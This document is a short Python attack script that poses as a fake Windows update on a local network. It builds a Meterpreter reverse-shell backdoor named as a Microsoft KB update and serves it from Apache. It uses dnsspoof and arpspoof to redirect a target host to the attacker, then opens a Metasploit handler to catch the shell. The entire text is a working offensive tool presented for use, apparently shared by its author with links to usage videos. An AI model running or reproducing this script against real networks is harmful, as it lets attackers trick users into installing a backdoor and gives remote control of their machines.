Fake Windows Update Python Script

#!/usr/bin/env python

import os
import sys
import subprocess
import re
from time import sleep

if os.getuid() != 0:
  print 'requires root privileges.'
  sys.exit(1)

def usage():
  if len(sys.argv) != 6:
    print 'Usage: ./fakeupdate.py [INTERFACE] [RHOST] [LHOST] [GATEWAY] [LPORT]'
    print 'EX)    ./fakeupdate.py eth0 192.168.1.50 192.168.1.49 192.168.1.1 4444'
    sys.exit(1)
usage()
print """
  *********************************************************************
  \tFAKE WINDOWS UPDATE PYTHON SCRIPT\t
  \tWRITTEN BY : TEJASH PATEL\t
  \tFACEBOOK : https://www.facebook.com/tejash1991\t
  \tYOUTUBE CHANNEL : https://www.youtube.com/user/tejash1991\t
  \tHOW 2 USE SCRIPT  : https://www.youtube.com/watch?v=hhIcAMHm0WA\t
  *********************************************************************
"""
INTERFACE = sys.argv[1]
RHOST = sys.argv[2]
LHOST = sys.argv[3]
GATEWAY = sys.argv[4]
LPORT = sys.argv[5]
print 'Starting web server'
apacheserver = subprocess.Popen('/etc/init.d/apache2 start',shell=True).wait()
print 'Create Backdoor Using Msfpayload'
msfbackdoor = subprocess.Popen('msfpayload windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s X >/var/www/Microsoft-KB17112012.exe' %(LHOST,LPORT),shell=True).wait()
try:
    my_dnsspoofing = open('/tmp/dnsspoofing.dns' , 'w')
    my_dnsspoofing.write("%s *" %LHOST)
    my_dnsspoofing.close()
except IOerror:
    print 'Error in Writing in the File'
else:
    print 'starting Dnsspoofing'
    dnsspoof = 'xterm -e dnsspoof -i %s -f /tmp/dnsspoofing.dns &' %INTERFACE
    os.system(dnsspoof)
    sleep(1)
print 'start Arpspoof'
arpspoofing = 'xterm -e arpspoof -i %s -t %s %s &' %(INTERFACE,RHOST,LHOST)
os.system(arpspoofing)
sleep(2)
print 'Starting Metasploit Framework'
#Metasploit = 'xterm -e msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s #E &' %(LHOST,LPORT)
#os.system(Metasploit)
#sleep(3)
metasploit = subprocess.Popen('msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=%s LPORT=%s E' %(LHOST,LPORT),shell=True).wait()
subprocess.Popen('rm -f /tmp/dnsspoofing.dns > /dev/null', shell=True).wait()
subprocess.Popen('rm -f /var/www/Microsoft-KB17112012.exe > /dev/null', shell=True).wait()